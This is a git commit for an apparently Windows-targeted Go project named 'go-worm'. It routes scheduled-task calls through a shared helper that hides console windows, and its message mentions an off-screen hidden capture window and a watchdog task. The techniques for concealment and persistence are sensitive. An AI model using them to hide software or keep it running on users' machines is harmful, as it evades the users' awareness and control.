fix(windows): prevent console window flash

- Centralize hidden-process setup per OS
- Hide console early to avoid startup flash
- Keep capture window off-screen and hidden
- Enable unified scheduler for watchdog task
- Force GUI subsystem in build script
This commit is contained in:
2026-09-01 23:25:06 +03:00
parent e74f74bc4e
commit cc2b1d049b
12 changed files with 103 additions and 36 deletions
+2 -4
View File
@@ -7,12 +7,10 @@ import (
"os"
"os/exec"
"strings"
"syscall"
"unicode/utf16"
"golang.org/x/sys/windows"
"tea.chunkbyte.com/kato/go-worm/lib/config"
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
)
func enableWatchdog() error {
@@ -45,7 +43,7 @@ func disableWatchdog() error {
func runSchtasks(args ...string) error {
cmd := exec.Command("schtasks", args...)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true, CreationFlags: windows.CREATE_NO_WINDOW}
cmd.SysProcAttr = helpers.HiddenSysProcAttr()
out, err := cmd.CombinedOutput()
if err != nil {
msg := strings.TrimSpace(string(out))